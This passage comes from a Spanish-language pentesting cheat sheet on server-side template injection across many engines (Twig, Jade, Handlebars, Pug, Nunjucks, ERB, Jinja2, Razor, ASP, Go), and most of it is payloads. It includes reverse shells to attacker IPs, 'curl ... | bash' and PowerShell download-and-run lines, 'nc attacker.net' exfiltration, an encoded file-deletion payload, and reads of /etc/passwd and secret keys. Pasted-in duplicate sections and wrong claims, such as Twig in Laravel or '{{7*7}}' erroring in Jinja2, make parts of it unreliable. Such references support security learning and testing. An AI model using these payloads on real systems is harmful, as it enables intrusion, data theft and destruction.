{{app.request.server.all|join(',')}}
|
||
|
||
#File read
|
||
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
|
||
|
||
#Exec code
|
||
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
|
||
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
|
||
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
|
||
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
|
||
{{['id']|filter('system')}}
|
||
{{['cat\x20/etc/passwd']|filter('system')}}
|
||
{{['cat$IFS/etc/passwd']|filter('system')}}
|
||
```
|
||
**Twig - Formato de plantilla**
|
||
|
||
Twig es un motor de plantillas moderno y flexible para PHP. Es utilizado por Symfony2, Drupal8 y muchas otras herramientas de PHP. Twig utiliza una sintaxis simple y fácil de aprender que permite a los desarrolladores crear plantillas de manera rápida y eficiente.
|
||
|
||
Twig es un lenguaje de plantillas seguro por defecto, lo que significa que no permite la ejecución de código arbitrario. Sin embargo, aún es posible realizar inyecciones de plantillas del lado del servidor (SSTI) en Twig si se utilizan mal algunas de sus funciones.
|
||
|
||
Para evitar SSTI en Twig, es importante asegurarse de que todas las variables que se utilizan en las plantillas sean seguras y no contengan código malicioso. Además, se deben evitar las funciones peligrosas de Twig, como `eval`, `include`, `source`, `template_from_string`, entre otras.
|
||
|
||
En resumen, Twig es una herramienta poderosa y segura para crear plantillas en PHP, siempre y cuando se utilice de manera responsable y se eviten las funciones peligrosas.
|
||
```php
|
||
$output = $twig > render (
|
||
'Dear' . $_GET['custom_greeting'],
|
||
array("first_name" => $user.first_name)
|
||
);
|
||
|
||
$output = $twig > render (
|
||
"Dear {first_name}",
|
||
array("first_name" => $user.first_name)
|
||
);
|
||
```
|
||
**Más información**
|
||
|
||
* En la sección Twig y Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||
|
||
### Plates (PHP)
|
||
|
||
Plates está inspirado en Twig pero es un motor de plantillas PHP nativo en lugar de un motor de plantillas compilado.
|
||
|
||
controlador:
|
||
```php
|
||
// Create new Plates instance
|
||
$templates = new League\Plates\Engine('/path/to/templates');
|
||
|
||
// Render a template
|
||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||
```
|
||
# Inyección de plantillas en el lado del servidor (SSTI)
|
||
|
||
La inyección de plantillas en el lado del servidor (SSTI) es una vulnerabilidad que permite a un atacante ejecutar código en el servidor a través de la inyección de código en una plantilla. Esta vulnerabilidad es común en aplicaciones web que utilizan plantillas para generar contenido dinámico.
|
||
|
||
## Ejemplos de SSTI
|
||
|
||
### Jinja2
|
||
|
||
Jinja2 es un motor de plantillas para Python. Es comúnmente utilizado en aplicaciones web de Python, como Flask y Django.
|
||
|
||
#### Ejemplo 1: Accediendo a variables globales
|
||
|
||
```python
|
||
{% for key, value in globals().items() %}
|
||
{{ key }}: {{ value }}
|
||
{% endfor %}
|
||
```
|
||
|
||
#### Ejemplo 2: Ejecutando comandos del sistema
|
||
|
||
```python
|
||
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
|
||
```
|
||
|
||
### Twig
|
||
|
||
Twig es un motor de plantillas para PHP. Es comúnmente utilizado en aplicaciones web de PHP, como Symfony y Laravel.
|
||
|
||
#### Ejemplo 1: Accediendo a variables globales
|
||
|
||
```php
|
||
{{ dump(_context) }}
|
||
```
|
||
|
||
#### Ejemplo 2: Ejecutando comandos del sistema
|
||
|
||
```php
|
||
{{ system('id') }}
|
||
```
|
||
|
||
## Prevención de SSTI
|
||
|
||
Para prevenir la inyección de plantillas en el lado del servidor, se deben seguir las siguientes prácticas recomendadas:
|
||
|
||
- Validar y sanitizar todas las entradas de usuario.
|
||
- Limitar el acceso a las variables globales en las plantillas.
|
||
- Utilizar un motor de plantillas que tenga una política de seguridad sólida.
|
||
- Mantener el software actualizado con las últimas correcciones de seguridad.
|
||
```php
|
||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||
|
||
<h1>User Profile</h1>
|
||
<p>Hello, <?=$this->e($name)?></p>
|
||
```
|
||
# Inyección de plantillas en el lado del servidor (SSTI)
|
||
|
||
La inyección de plantillas en el lado del servidor (SSTI) es una vulnerabilidad que permite a un atacante ejecutar código en el servidor a través de la inyección de código en una plantilla. Esta vulnerabilidad es común en aplicaciones web que utilizan plantillas para generar contenido dinámico.
|
||
|
||
## Ejemplos de SSTI
|
||
|
||
### Jinja2
|
||
|
||
Jinja2 es un motor de plantillas para Python. Es comúnmente utilizado en aplicaciones web de Python, como Flask y Django.
|
||
|
||
#### Ejemplo 1: Accediendo a variables globales
|
||
|
||
```python
|
||
{% for key, value in globals().items() %}
|
||
{{ key }}: {{ value }}
|
||
{% endfor %}
|
||
```
|
||
|
||
#### Ejemplo 2: Ejecutando comandos del sistema
|
||
|
||
```python
|
||
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
|
||
```
|
||
|
||
### Twig
|
||
|
||
Twig es un motor de plantillas para PHP. Es comúnmente utilizado en aplicaciones web de PHP, como Symfony.
|
||
|
||
#### Ejemplo 1: Accediendo a variables globales
|
||
|
||
```php
|
||
{{ dump(_context) }}
|
||
```
|
||
|
||
#### Ejemplo 2: Ejecutando comandos del sistema
|
||
|
||
```php
|
||
{{ system('id') }}
|
||
```
|
||
|
||
## Prevención de SSTI
|
||
|
||
Para prevenir la inyección de plantillas en el lado del servidor, se deben seguir las siguientes prácticas recomendadas:
|
||
|
||
- Validar y sanitizar todas las entradas de usuario.
|
||
- Limitar el acceso a las variables globales y a las funciones peligrosas.
|
||
- Utilizar un motor de plantillas que tenga una política de seguridad sólida.
|
||
- Mantener el software actualizado con las últimas correcciones de seguridad.
|
||
```html
|
||
<html>
|
||
<head>
|
||
<title><?=$this->e($title)?></title>
|
||
</head>
|
||
<body>
|
||
<?=$this->section('content')?>
|
||
</body>
|
||
</html>
|
||
```
|
||
### PHPlib y HTML\_Template\_PHPLIB (PHP)
|
||
|
||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) es lo mismo que PHPlib pero portado a Pear.
|
||
|
||
`authors.tpl`
|
||
```html
|
||
<html>
|
||
<head><title>{PAGE_TITLE}</title></head>
|
||
<body>
|
||
<table>
|
||
<caption>Authors</caption>
|
||
<thead>
|
||
<tr><th>Name</th><th>Email</th></tr>
|
||
</thead>
|
||
<tfoot>
|
||
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
|
||
</tfoot>
|
||
<tbody>
|
||
<!-- BEGIN authorline -->
|
||
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
|
||
<!-- END authorline -->
|
||
</tbody>
|
||
</table>
|
||
</body>
|
||
</html>
|
||
```
|
||
# `authors.php`
|
||
|
||
## Descripción
|
||
La página `authors.php` muestra información sobre los autores del sitio web.
|
||
|
||
## Vulnerabilidad
|
||
La página `authors.php` es vulnerable a la inyección de plantillas en el lado del servidor (SSTI) debido a que el parámetro `author` no está siendo sanitizado adecuadamente antes de ser utilizado en una función de renderizado de plantillas.
|
||
|
||
## Impacto
|
||
Un atacante podría explotar esta vulnerabilidad para ejecutar código arbitrario en el servidor y obtener acceso no autorizado a información confidencial.
|
||
|
||
## Ejemplo de explotación
|
||
```
|
||
https://example.com/authors.php?author={{7*7}}
|
||
```
|
||
|
||
## Solución
|
||
Se debe implementar una sanitización adecuada de los parámetros de entrada antes de ser utilizados en funciones de renderizado de plantillas.
|
||
```php
|
||
<?php
|
||
//we want to display this author list
|
||
$authors = array(
|
||
'Christian Weiske' => 'cweiske@php.net',
|
||
'Bjoern Schotte' => 'schotte@mayflower.de'
|
||
);
|
||
|
||
require_once 'HTML/Template/PHPLIB.php';
|
||
//create template object
|
||
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
|
||
//load file
|
||
$t->setFile('authors', 'authors.tpl');
|
||
//set block
|
||
$t->setBlock('authors', 'authorline', 'authorline_ref');
|
||
|
||
//set some variables
|
||
$t->setVar('NUM_AUTHORS', count($authors));
|
||
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
|
||
|
||
//display the authors
|
||
foreach ($authors as $name => $email) {
|
||
$t->setVar('AUTHOR_NAME', $name);
|
||
$t->setVar('AUTHOR_EMAIL', $email);
|
||
$t->parse('authorline_ref', 'authorline', true);
|
||
}
|
||
|
||
//finish and echo
|
||
echo $t->finish($t->parse('OUT', 'authors'));
|
||
?>
|
||
```
|
||
### Jade (NodeJS)
|
||
|
||
Jade es un motor de plantillas para NodeJS que permite la creación de HTML de manera más fácil y rápida. Jade utiliza una sintaxis simplificada que permite la creación de plantillas de manera más eficiente. Sin embargo, esta sintaxis simplificada también puede ser vulnerable a la inyección de código en el lado del servidor.
|
||
|
||
Para explotar una vulnerabilidad de inyección de plantillas en Jade, un atacante puede enviar una entrada maliciosa que contenga código malicioso. Este código malicioso se ejecutará en el servidor y puede permitir al atacante acceder a información confidencial o tomar el control del servidor.
|
||
|
||
Para prevenir la inyección de plantillas en Jade, se recomienda validar y sanitizar todas las entradas de usuario antes de procesarlas. También se recomienda utilizar la última versión de Jade y mantenerla actualizada para evitar vulnerabilidades conocidas.
|
||
```javascript
|
||
- var x = root.process
|
||
- x = x.mainModule.require
|
||
- x = x('child_process')
|
||
= x.exec('id | nc attacker.net 80')
|
||
```
|
||
|
||
```javascript
|
||
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
|
||
```
|
||
**Más información**
|
||
|
||
* En la sección Jade de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
|
||
|
||
### patTemplate (PHP)
|
||
|
||
> [patTemplate](https://github.com/wernerwa/pat-template) es un motor de plantillas PHP que no compila y que utiliza etiquetas XML para dividir un documento en diferentes partes.
|
||
```xml
|
||
<patTemplate:tmpl name="page">
|
||
This is the main page.
|
||
<patTemplate:tmpl name="foo">
|
||
It contains another template.
|
||
</patTemplate:tmpl>
|
||
<patTemplate:tmpl name="hello">
|
||
Hello {NAME}.<br/>
|
||
</patTemplate:tmpl>
|
||
</patTemplate:tmpl>
|
||
```
|
||
### Handlebars (NodeJS)
|
||
|
||
Traversing de ruta (más información [aquí](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||
```bash
|
||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||
```
|
||
* \= Error
|
||
* ${7\*7} = ${7\*7}
|
||
* Nothing
|
||
|
||
---
|
||
|
||
* \= Error
|
||
* ${7\*7} = ${7\*7}
|
||
* Nada
|
||
```java
|
||
{{#with "s" as |string|}}
|
||
{{#with "e"}}
|
||
{{#with split as |conslist|}}
|
||
{{this.pop}}
|
||
{{this.push (lookup string.sub "constructor")}}
|
||
{{this.pop}}
|
||
{{#with string.split as |codelist|}}
|
||
{{this.pop}}
|
||
{{this.push "return require('child_process').exec('whoami');"}}
|
||
{{this.pop}}
|
||
{{#each conslist}}
|
||
{{#with (string.sub.apply 0 codelist)}}
|
||
{{this}}
|
||
{{/with}}
|
||
{{/each}}
|
||
{{/with}}
|
||
{{/with}}
|
||
{{/with}}
|
||
{{/with}}
|
||
|
||
URLencoded:
|
||
%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d
|
||
```
|
||
**Más información**
|
||
|
||
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
|
||
|
||
### JsRender (NodeJS)
|
||
|
||
| **Plantilla** | **Descripción** |
|
||
| ------------ | --------------------------------------- |
|
||
| | Evalúa y renderiza la salida |
|
||
| | Evalúa y renderiza la salida codificada en HTML |
|
||
| | Comentario |
|
||
| y | Permite código (deshabilitado por defecto) |
|
||
|
||
* \= 49
|
||
|
||
**Lado del cliente**
|
||
```python
|
||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||
```
|
||
**Lado del Servidor**
|
||
```bash
|
||
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
||
```
|
||
**Más información**
|
||
|
||
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
|
||
|
||
### PugJs (NodeJS)
|
||
|
||
* `#{7*7} = 49`
|
||
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
|
||
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
|
||
|
||
**Ejemplo de renderizado del lado del servidor**
|
||
```javascript
|
||
var pugjs = require('pug');
|
||
home = pugjs.render(injected_page)
|
||
```
|
||
**Más información**
|
||
|
||
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
|
||
|
||
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
|
||
|
||
* \{{7\*7\}} = 49
|
||
* \{{foo\}} = Sin salida
|
||
* \#{7\*7} = #{7\*7}
|
||
* \{{console.log(1)\}} = Error
|
||
```javascript
|
||
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
|
||
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
|
||
```
|
||
**Más información**
|
||
|
||
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
|
||
|
||
### ERB (Ruby)
|
||
|
||
* `{{7*7}} = {{7*7}}`
|
||
* `${7*7} = ${7*7}`
|
||
* `<%= 7*7 %> = 49`
|
||
* `<%= foobar %> = Error`
|
||
```python
|
||
<%= system("whoami") %> #Execute code
|
||
<%= Dir.entries('/') %> #List folder
|
||
<%= File.open('/etc/passwd').read %> #Read file
|
||
|
||
<%= system('cat /etc/passwd') %>
|
||
<%= `ls /` %>
|
||
<%= IO.popen('ls /').readlines() %>
|
||
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
|
||
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
|
||
```
|
||
**Más información**
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||
|
||
### Slim (Ruby)
|
||
|
||
* `{ 7 * 7 }`
|
||
```
|
||
{ %x|env| }
|
||
```
|
||
**Más información**
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||
|
||
### Python
|
||
|
||
Visita la siguiente página para aprender trucos sobre **bypassing de ejecución de comandos arbitrarios en python**:
|
||
|
||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||
{% endcontent-ref %}
|
||
|
||
### Tornado (Python)
|
||
|
||
* `{{7*7}} = 49`
|
||
* `${7*7} = ${7*7}`
|
||
* `{{foobar}} = Error`
|
||
* `{{7*'7'}} = 7777777`
|
||
```python
|
||
{% raw %}
|
||
{% import foobar %} = Error
|
||
{% import os %}
|
||
|
||
{% import os %}
|
||
{% endraw %}
|
||
|
||
|
||
|
||
|
||
{{os.system('whoami')}}
|
||
{{os.system('whoami')}}
|
||
```
|
||
**Más información**
|
||
|
||
### Jinja2 (Python)
|
||
|
||
[Sitio web oficial](http://jinja.pocoo.org)
|
||
|
||
> Jinja2 es un motor de plantillas completo para Python. Tiene soporte completo de Unicode, un entorno de ejecución en sandbox opcional, ampliamente utilizado y con licencia BSD.
|
||
|
||
* `{{7*7}} = Error`
|
||
* `${7*7} = ${7*7}`
|
||
* `{{foobar}} Nada`
|
||
* `{{4*4}}[[5*5]]`
|
||
* `{{7*'7'}} = 7777777`
|
||
* `{{config}}`
|
||
* `{{config.items()}}`
|
||
* `{{settings.SECRET_KEY}}`
|
||
* `{{settings}}`
|
||
* `<div data-gb-custom-block data-tag="debug"></div>`
|
||
```python
|
||
{% raw %}
|
||
{% debug %}
|
||
{% endraw %}
|
||
|
||
|
||
|
||
{{settings.SECRET_KEY}}
|
||
{{4*4}}[[5*5]]
|
||
{{7*'7'}} would result in 7777777
|
||
```
|
||
**Jinja2 - Formato de plantilla**
|
||
```python
|
||
{% raw %}
|
||
{% extends "layout.html" %}
|
||
{% block body %}
|
||
<ul>
|
||
{% for user in users %}
|
||
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
|
||
{% endfor %}
|
||
</ul>
|
||
{% endblock %}
|
||
{% endraw %}
|
||
|
||
|
||
```
|
||
[**RCE no dependiente de**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||
```python
|
||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
|
||
|
||
# Or in the shotest versions:
|
||
{{ cycler.__init__.__globals__.os.popen('id').read() }}
|
||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||
```
|
||
**Más detalles sobre cómo abusar de Jinja**:
|
||
|
||
{% content-ref url="jinja2-ssti.md" %}
|
||
[jinja2-ssti.md](jinja2-ssti.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Mako (Python)
|
||
|
||
Mako es un motor de plantillas de Python que también puede ser vulnerable a la inyección de plantillas del lado del servidor (SSTI). Al igual que con Jinja, la inyección de plantillas Mako se produce cuando se permite que el usuario proporcione una entrada que se procesa como una plantilla. La entrada del usuario se evalúa como código Python en el servidor, lo que permite al atacante ejecutar código arbitrario en el contexto del servidor. Para obtener más información sobre cómo explotar la inyección de plantillas Mako, consulte la siguiente referencia:
|
||
|
||
{% content-ref url="mako-ssti.md" %}
|
||
[mako-ssti.md](mako-ssti.md)
|
||
{% endcontent-ref %}
|
||
```python
|
||
<%
|
||
import os
|
||
x=os.popen('id').read()
|
||
%>
|
||
${x}
|
||
```
|
||
### Razor (.Net)
|
||
|
||
* `@(2+2) <= Éxito`
|
||
* `@() <= Éxito`
|
||
* `@("{{code}}") <= Éxito`
|
||
* `@ <= Éxito`
|
||
* `@{} <= ¡ERROR!`
|
||
* `@{ <= ¡ERROR!`
|
||
* `@(1+2)`
|
||
* `@( //C#Code )`
|
||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||
|
||
El método `System.Diagnostics.Process.Start` de .NET se puede utilizar para iniciar cualquier proceso en el servidor y, por lo tanto, crear un webshell. Puede encontrar un ejemplo de aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||
|
||
**Más información**
|
||
|
||
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
|
||
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
|
||
|
||
### ASP
|
||
|
||
* `<%= 7*7 %>` = 49
|
||
* `<%= "foo" %>` = foo
|
||
* `<%= foo %>` = Nada
|
||
* `<%= response.write(date()) %>` = \<Date>
|
||
```bash
|
||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||
```
|
||
**Más información**
|
||
|
||
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
|
||
|
||
### Mojolicious (Perl)
|
||
|
||
Aunque sea perl, utiliza etiquetas como ERB en Ruby.
|
||
|
||
* `<%= 7*7 %> = 49`
|
||
* `<%= foobar %> = Error`
|
||
```
|
||
<%= perl code %>
|
||
<% perl code %>
|
||
```
|
||
### SSTI en GO
|
||
|
||
Para confirmar que el motor de plantillas utilizado en el backend es Go, puedes utilizar estas cargas útiles:
|
||
|
||
* `{{ . }}` = estructura de datos que se pasa como entrada a la plantilla
|
||
* Si los datos pasados son un objeto que contiene el atributo Password, por ejemplo, la carga anterior lo filtraría, pero también podrías hacer: `{{ .Password }}`
|
||
* `{{printf "%s" "ssti" }}` = debería mostrar la cadena ssti en la respuesta
|
||
* `{{html "ssti"}}`, `{{js "ssti"}}` = Estas son algunas otras cargas útiles que deberían mostrar la cadena "ssti" sin las palabras finales "js" o "html". Puedes consultar más palabras clave en el motor [aquí](https://golang.org/pkg/text/template).
|
||
|
||
**Explotación de XSS**
|
||
|
||
Si el servidor está **utilizando el paquete text/template**, es muy fácil lograr XSS simplemente proporcionando tu **carga útil** como entrada. Sin embargo, ese no es el caso con html/template ya que codifica en HTML la respuesta: `{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||
|
||
Sin embargo, Go permite **DEFINIR** una **plantilla completa** y luego **llamarla más tarde**. La carga útil sería algo como:\
|
||
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
|
||
|
||
**Explotación de RCE**
|
||
|
||
La documentación para ambos módulos html/template se puede encontrar [aquí](https://golang.org/pkg/html/template/), y la documentación para el módulo text/template se puede encontrar [aquí](https://golang.org/pkg/text/template/), y sí, varían mucho. Por ejemplo, en **text/template**, puedes **llamar directamente cualquier función pública con el valor "call"**, sin embargo, este no es el caso con html/template.
|
||
|
||
Si quieres encontrar una RCE en Go a través de SSTI, debes saber que como puedes acceder al objeto dado a la plantilla con `{{ . }}`, también puedes **llamar a los métodos de los objetos**. Entonces, imagina que el **objeto pasado tiene un método llamado System** que ejecuta el comando dado, podrías abusar de él con: `{{ .System "ls" }}`\
|
||
Por lo tanto, probablemente **necesitarás el código fuente**. Un código fuente potencial para algo así se vería así:
|
||
```go
|
||
func (p Person) Secret (test string) string {
|
||
out, _ := exec.Command(test).CombinedOutput()
|
||
return string(out)
|
||
}
|
||
```
|
||
**Más información**
|
||
|
||
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
|
||
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||
|
||
### Más exploits
|
||
|
||
Revisa el resto de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) para más exploits. También puedes encontrar información interesante en las etiquetas de [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||
|
||
## BlackHat PDF
|
||
|
||
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
|
||
|
||
## Ayuda relacionada
|
||
|
||
Si crees que puede ser útil, lee:
|
||
|
||
* [Trucos de Flask](../../network-services-pentesting/pentesting-web/flask.md)
|
||
* [Funciones mágicas de Python](broken-reference/)
|
||
|
||
## Herramientas
|
||
|
||
{% embed url="https://github.com/epinna/tplmap" %}
|
||
|
||
## Lista de detección de fuerza bruta
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||
|
||
## Práctica y referencias
|
||
|
||
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||
* [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro para los profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
